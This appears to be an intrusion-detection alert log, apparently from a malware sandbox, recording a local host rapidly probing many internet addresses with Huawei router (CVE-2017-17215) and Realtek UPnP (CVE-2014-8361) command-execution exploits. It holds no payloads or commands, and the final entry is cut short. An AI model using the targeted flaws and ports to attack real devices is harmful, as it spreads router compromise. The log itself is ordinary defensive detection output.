ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 62.132.204.169

Timestamp:	07/20/24-23:01:36.781770
SID:	2829579
Source Port:	49162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.158.187.102

Timestamp:	07/20/24-23:01:04.859993
SID:	2829579
Source Port:	56376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 17.74.167.61

Timestamp:	07/20/24-23:01:32.207539
SID:	2835222
Source Port:	40170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.65.13.85

Timestamp:	07/20/24-23:01:25.413015
SID:	2829579
Source Port:	41520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 141.20.36.175

Timestamp:	07/20/24-23:01:20.573336
SID:	2027339
Source Port:	49396
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.213.169.109

Timestamp:	07/20/24-23:01:36.781255
SID:	2835222
Source Port:	39534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.78.107.93

Timestamp:	07/20/24-23:01:04.870311
SID:	2829579
Source Port:	38046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.215.54.255

Timestamp:	07/20/24-23:01:02.594487
SID:	2829579
Source Port:	33622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.249.67.102

Timestamp:	07/20/24-23:01:08.381624
SID:	2835222
Source Port:	46144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.73.30.10

Timestamp:	07/20/24-23:01:06.820921
SID:	2835222
Source Port:	58964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.36.47.12

Timestamp:	07/20/24-23:01:06.813789
SID:	2835222
Source Port:	49100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 153.33.151.65

Timestamp:	07/20/24-23:01:14.536390
SID:	2027339
Source Port:	57074
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 44.173.173.82

Timestamp:	07/20/24-23:01:14.550185
SID:	2831300
Source Port:	55344
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 89.59.219.11

Timestamp:	07/20/24-23:01:12.360354
SID:	2835222
Source Port:	53234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 19.96.215.60

Timestamp:	07/20/24-23:01:14.539379
SID:	2027339
Source Port:	35368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 150.134.45.104

Timestamp:	07/20/24-23:01:14.520422
SID:	2027339
Source Port:	52688
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 164.103.95.95

Timestamp:	07/20/24-23:01:14.513211
SID:	2027339
Source Port:	51854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.86.141.31

Timestamp:	07/20/24-23:01:27.286229
SID:	2835222
Source Port:	34686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 88.243.83.197

Timestamp:	07/20/24-23:01:27.289200
SID:	2835222
Source Port:	36642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.191.47.210

Timestamp:	07/20/24-23:01:24.625501
SID:	2835222
Source Port:	40340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.154.111.104

Timestamp:	07/20/24-23:01:06.798920
SID:	2829579
Source Port:	57556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 106.43.123.108

Timestamp:	07/20/24-23:01:06.851270
SID:	2025132
Source Port:	33414
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 38.115.42.6

Timestamp:	07/20/24-23:01:22.810997
SID:	2829579
Source Port:	55076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 139.159.183.229

Timestamp:	07/20/24-23:01:27.366334
SID:	2027339
Source Port:	45152
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.228.188.147

Timestamp:	07/20/24-23:01:06.800492
SID:	2829579
Source Port:	33708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.113.123.195

Timestamp:	07/20/24-23:01:15.000722
SID:	2829579
Source Port:	35926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 216.194.176.131

Timestamp:	07/20/24-23:01:06.643290
SID:	2027339
Source Port:	56782
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 110.74.122.205

Timestamp:	07/20/24-23:01:14.542853
SID:	2027339
Source Port:	49440
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.155.116.140

Timestamp:	07/20/24-23:01:02.703502
SID:	2829579
Source Port:	55220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 71.95.23.241

Timestamp:	07/20/24-23:01:06.677271
SID:	2027339
Source Port:	33434
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 180.57.201.161

Timestamp:	07/20/24-23:01:14.504881
SID:	2831300
Source Port:	34520
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.206.209.177

Timestamp:	07/20/24-23:01:02.607205
SID:	2835222
Source Port:	44092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.245.35.233

Timestamp:	07/20/24-23:00:59.020328
SID:	2829579
Source Port:	42776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.189.73.200

Timestamp:	07/20/24-23:01:06.809008
SID:	2829579
Source Port:	55944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 80.21.51.67

Timestamp:	07/20/24-23:01:07.239221
SID:	2025132
Source Port:	58620
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 126.183.166.233

Timestamp:	07/20/24-23:01:06.655486
SID:	2027339
Source Port:	58990
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.87.42.249

Timestamp:	07/20/24-23:01:12.517792
SID:	2829579
Source Port:	54460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 110.74.122.205

Timestamp:	07/20/24-23:01:07.245627
SID:	2025132
Source Port:	47458
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.177.88.164

Timestamp:	07/20/24-23:01:22.743882
SID:	2829579
Source Port:	57064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.218.185.44

Timestamp:	07/20/24-23:01:02.682054
SID:	2829579
Source Port:	33042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.255.242.205

Timestamp:	07/20/24-23:01:25.404749
SID:	2835222
Source Port:	39796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.140.4.23

Timestamp:	07/20/24-23:01:36.852816
SID:	2835222
Source Port:	55220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.4.10.141

Timestamp:	07/20/24-23:00:59.021109
SID:	2835222
Source Port:	32816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 80.21.51.67

Timestamp:	07/20/24-23:01:14.566461
SID:	2027339
Source Port:	60598
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.124.65.87

Timestamp:	07/20/24-23:01:25.388789
SID:	2829579
Source Port:	36928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 125.82.19.196

Timestamp:	07/20/24-23:01:06.662973
SID:	2027339
Source Port:	48600
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.150.40.90

Timestamp:	07/20/24-23:01:04.874130
SID:	2829579
Source Port:	57240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 77.192.178.62

Timestamp:	07/20/24-23:01:25.390486
SID:	2829579
Source Port:	60798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 221.227.34.24

Timestamp:	07/20/24-23:01:04.848636
SID:	2829579
Source Port:	51304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 104.140.179.113

Timestamp:	07/20/24-23:00:59.022895
SID:	2829579
Source Port:	50812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.75.193.161

Timestamp:	07/20/24-23:01:02.703502
SID:	2835222
Source Port:	48162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.76.209.136

Timestamp:	07/20/24-23:01:22.739607
SID:	2835222
Source Port:	53604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 47.222.214.79

Timestamp:	07/20/24-23:01:07.206375
SID:	2025132
Source Port:	53418
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.159.38.106

Timestamp:	07/20/24-23:01:04.907419
SID:	2835222
Source Port:	53438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.183.121.78

Timestamp:	07/20/24-23:01:08.419092
SID:	2835222
Source Port:	37310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 124.38.65.99

Timestamp:	07/20/24-23:00:59.019865
SID:	2835222
Source Port:	51480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 121.104.50.97

Timestamp:	07/20/24-23:01:14.522190
SID:	2027339
Source Port:	40700
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.200.220.148

Timestamp:	07/20/24-23:01:04.848080
SID:	2835222
Source Port:	33872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.173.217.200

Timestamp:	07/20/24-23:01:08.449909
SID:	2829579
Source Port:	43154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 78.145.139.16

Timestamp:	07/20/24-23:01:14.525838
SID:	2027339
Source Port:	34546
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.149.121.17

Timestamp:	07/20/24-23:01:22.746773
SID:	2835222
Source Port:	46466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 87.8.107.75

Timestamp:	07/20/24-23:01:06.901569
SID:	2025132
Source Port:	36166
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.117.65.6

Timestamp:	07/20/24-23:01:09.544104
SID:	2829579
Source Port:	52138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 65.224.243.64

Timestamp:	07/20/24-23:01:14.518211
SID:	2027339
Source Port:	36848
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.140.157.0

Timestamp:	07/20/24-23:01:36.781604
SID:	2829579
Source Port:	47934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 137.85.81.139

Timestamp:	07/20/24-23:01:15.063531
SID:	2835222
Source Port:	57024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.212.233.130

Timestamp:	07/20/24-23:01:04.870311
SID:	2835222
Source Port:	46644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.35.252.89

Timestamp:	07/20/24-23:00:59.022701
SID:	2829579
Source Port:	35044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 178.41.195.47

Timestamp:	07/20/24-23:01:27.297470
SID:	2829579
Source Port:	33350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 57.86.64.87

Timestamp:	07/20/24-23:01:14.527949
SID:	2831300
Source Port:	46836
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.17.13.19

Timestamp:	07/20/24-23:00:59.021675
SID:	2835222
Source Port:	60170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 50.131.46.205

Timestamp:	07/20/24-23:01:07.613848
SID:	2025132
Source Port:	49650
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.35.218.6

Timestamp:	07/20/24-23:01:22.806676
SID:	2829579
Source Port:	43962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 139.23.112.9

Timestamp:	07/20/24-23:01:05.435609
SID:	2027339
Source Port:	50598
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.198.64.111

Timestamp:	07/20/24-23:01:27.289200
SID:	2829579
Source Port:	51740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 138.96.171.141

Timestamp:	07/20/24-23:01:06.453953
SID:	2025132
Source Port:	57656
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 139.0.230.132

Timestamp:	07/20/24-23:01:05.526864
SID:	2025132
Source Port:	59510
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 194.79.75.113

Timestamp:	07/20/24-23:01:12.504870
SID:	2829579
Source Port:	52142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 47.238.173.9

Timestamp:	07/20/24-23:01:04.893876
SID:	2835222
Source Port:	32858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 18.120.15.161

Timestamp:	07/20/24-23:01:12.492810
SID:	2829579
Source Port:	35194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 89.83.219.148

Timestamp:	07/20/24-23:01:27.447773
SID:	2831300
Source Port:	33596
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.207.241.220

Timestamp:	07/20/24-23:00:59.021019
SID:	2829579
Source Port:	50030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.238.40.168

Timestamp:	07/20/24-23:00:59.021890
SID:	2835222
Source Port:	44740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.152.48.180

Timestamp:	07/20/24-23:01:13.831634
SID:	2829579
Source Port:	47588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.166.6.127

Timestamp:	07/20/24-23:01:25.456960
SID:	2835222
Source Port:	50488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.33.246.45

Timestamp:	07/20/24-23:01:36.780648
SID:	2829579
Source Port:	39076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 52.137.120.101

Timestamp:	07/20/24-23:01:21.653411
SID:	2025132
Source Port:	59900
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.152.248.171

Timestamp:	07/20/24-23:01:08.435254
SID:	2829579
Source Port:	43218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.130.43.43

Timestamp:	07/20/24-23:01:36.852816
SID:	2829579
Source Port:	36816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 154.144.48.222

Timestamp:	07/20/24-23:02:11.344274
SID:	2835222
Source Port:	34470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 89.57.196.100

Timestamp:	07/20/24-23:01:05.603594
SID:	2025132
Source Port:	46284
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.108.193.243

Timestamp:	07/20/24-23:01:04.908544
SID:	2829579
Source Port:	44576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 222.170.225.11

Timestamp:	07/20/24-23:01:06.808312
SID:	2835222
Source Port:	40726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.88.134.99

Timestamp:	07/20/24-23:00:59.022603
SID:	2835222
Source Port:	34624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 152.161.224.79

Timestamp:	07/20/24-23:01:05.628783
SID:	2025132
Source Port:	49612
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.70.190.105

Timestamp:	07/20/24-23:01:32.206638
SID:	2835222
Source Port:	55610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.33.115.94

Timestamp:	07/20/24-23:01:36.793382
SID:	2829579
Source Port:	43100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 170.113.9.186

Timestamp:	07/20/24-23:01:04.546140
SID:	2025132
Source Port:	59034
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 183.244.92.210

Timestamp:	07/20/24-23:01:14.569004
SID:	2831300
Source Port:	43374
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 76.214.57.173

Timestamp:	07/20/24-23:01:07.284195
SID:	2025132
Source Port:	41386
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 213.139.43.137

Timestamp:	07/20/24-23:01:05.458663
SID:	2027339
Source Port:	39604
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.142.201.149

